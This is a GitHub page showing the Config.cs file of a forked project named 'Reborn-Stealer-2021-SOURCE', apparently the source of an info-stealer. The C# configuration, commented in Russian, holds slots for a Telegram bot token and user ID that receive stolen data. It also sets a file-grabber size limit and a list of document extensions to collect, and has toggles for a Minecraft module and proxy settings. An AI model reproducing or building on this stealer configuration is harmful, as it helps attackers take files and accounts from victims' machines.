forked from username2371/Reborn-Stealer-2021-SOURCE
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathConfig.cs
49 lines (40 loc) · 1.69 KB
/
Config.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
namespace Reborn
{
class Config
{
// Токен телеграма
public static readonly string Token = "";
// Айди пользователя
public static readonly string ID = "";
public static readonly bool Developer = false;
// Вайм модуль
public static readonly bool MinecraftModule = true;
// максимальный вес файла в файлграббере 5500000 - 5 MB | 10500000 - 10 MB | 21000000 - 20 MB | 63000000 - 60 MB
public static int sizefile = 5500000;
public static string ip = ""; // IP Proxy
public static int port = 0; // Порт Proxy
public static string login = ""; // Логин Proxy
public static string password = ""; // Пароль Proxy
// Секретный Ключ AES
public static string key;
// Метод, который генерирует секретный ключ AES и записывает его в переменную key
public static void GenerateAndSetKey()
{
using (RijndaelManaged myRijndael = new RijndaelManaged())
{
myRijndael.GenerateKey();
key = Convert.ToBase64String(myRijndael.Key);
}
}
// Список расширений для сбора файлов
public static string[] expansion = new string[]
{
".txt", ".config", ".docx", ".pdf", ".doc", ".xls", ".xlsx", ".log"
};
}
}